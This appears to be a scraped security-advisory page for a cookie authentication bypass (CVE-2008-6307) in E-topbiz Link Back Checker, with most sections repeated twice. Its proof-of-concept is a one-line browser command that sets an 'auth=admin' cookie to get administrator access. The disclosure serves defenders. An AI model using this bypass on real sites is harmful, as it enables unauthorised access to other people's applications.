Link Back Checker Cookie Authentication Bypass Vulnerability
BID:32354
Info
Link Back Checker Cookie Authentication Bypass Vulnerability
| Bugtraq ID: | 32354 |
| Class: | Access Validation Error |
| CVE: |
CVE-2008-6307 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 18 2008 12:00AM |
| Updated: | May 07 2015 05:21PM |
| Credit: | x0r |
| Vulnerable: |
E-topbiz Link Back Checker 0 |
| Not Vulnerable: | |
Discussion
Link Back Checker Cookie Authentication Bypass Vulnerability
Link Back Checker is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks.
Link Back Checker is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.
Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks.
Exploit / POC
Link Back Checker Cookie Authentication Bypass Vulnerability
Attackers can exploit this issue via a browser.
The following example code is available:
javascript:document.cookie="auth=admin; path=/";
Attackers can exploit this issue via a browser.
The following example code is available:
javascript:document.cookie="auth=admin; path=/";
Solution / Fix
Link Back Checker Cookie Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Link Back Checker Cookie Authentication Bypass Vulnerability
References:
References:
- Link Back Checker Demo Page (E-topbiz)